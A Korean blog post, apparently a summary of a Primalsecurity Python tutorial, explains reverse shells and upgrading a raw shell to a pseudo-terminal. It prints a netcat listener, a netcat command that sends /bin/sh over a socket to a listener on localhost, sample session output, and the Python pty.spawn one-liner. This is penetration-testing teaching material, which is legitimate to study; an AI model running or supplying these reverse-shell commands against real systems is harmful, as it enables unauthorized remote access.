0w0
[primalsecurity] 0xB – Pseudo-Terminal (가짜 터미널) 본문
Primalsecurity/Primalsecurity_Python-tutorials
[primalsecurity] 0xB – Pseudo-Terminal (가짜 터미널)
0w0 2020. 1. 1. 16:15728x90
반응형
raw shell 연결
대부분 바인드 쉘보다는 리버스 쉘을 사용하여 타겟이 공격자(혹은 C&C)에 바인딩됨
1
2
3
|
# Start a netcat listener
~$ nc -lvp 443
listening on [any] 443 ...
|
로컬 환경에서 리스닝 포트 바인딩 후 쉘 실행
1
2
|
# Use netcat to toss '/bin/sh' over a network socket
~$ nc 127.0.0.1 443 -e /bin/sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux
ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
|
바인드 쉘과 다르게 리버스 쉘은 프롬프트가 없음(임의의로 쉘 명령 구성을 하면 가능).
만약 사용자로 부터 입력을 받아야하는 명령을 수행할 경우 리버스 쉘이 종료됨.
FTP, SSV, vi 등의 명령들이 사용자 입력을 받아야하기 때문에 제대로 동작하지 않는 것임.
해당 쉘에서 이러한 문제를 우회하기 위해서 vi 대신에 line by line으로 파일을 만듬.
파이썬의 pty 모듈을 통해 pseudo(가짜) 터미널을 생성.
pseudo(가짜) 터미널을 통해 프롬프트를 제공받으며, 쉘을 좀더 효율적으로 사용.
pseudo(가짜) 터미널이기 때문에 실제 터미널 접근 권한은 생기지 않음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
python -c "import pty;pty.spawn('/bin/bash')"
kali@kali:/$ uname -a
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux
kali@kali:/$ id
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:/$ ls
ls
bin dev home lib64 opt srv usr
boot initrd.img media proc sbin sys var
etc lib mnt root selinux tmp
kali@kali:/$
|
pty.spawn("/bin/bash")을 사용.
python -c 옵션은 명령이 CLI에서 실행하도록하는 옵션.
세미콜론(;) 을 이용해서 동일 라인에서 2개의 명령 수행.
728x90
반응형
'Primalsecurity > Primalsecurity_Python-tutorials' 카테고리의 다른 글
[primalsecurity] 0xC – Python Malware (0) | 2020.01.01 |
---|---|
[primalsecurity] 0xA – Python for Metasploit Automation (0) | 2019.12.31 |
[primalsecurity] 0x9 – Command Automation (0) | 2019.12.31 |
[primalsecurity] 0x8 – Whois Automation (0) | 2019.12.31 |
[primalsecurity] 0x7 – Web Scanning and Exploitation (0) | 2019.12.24 |
Comments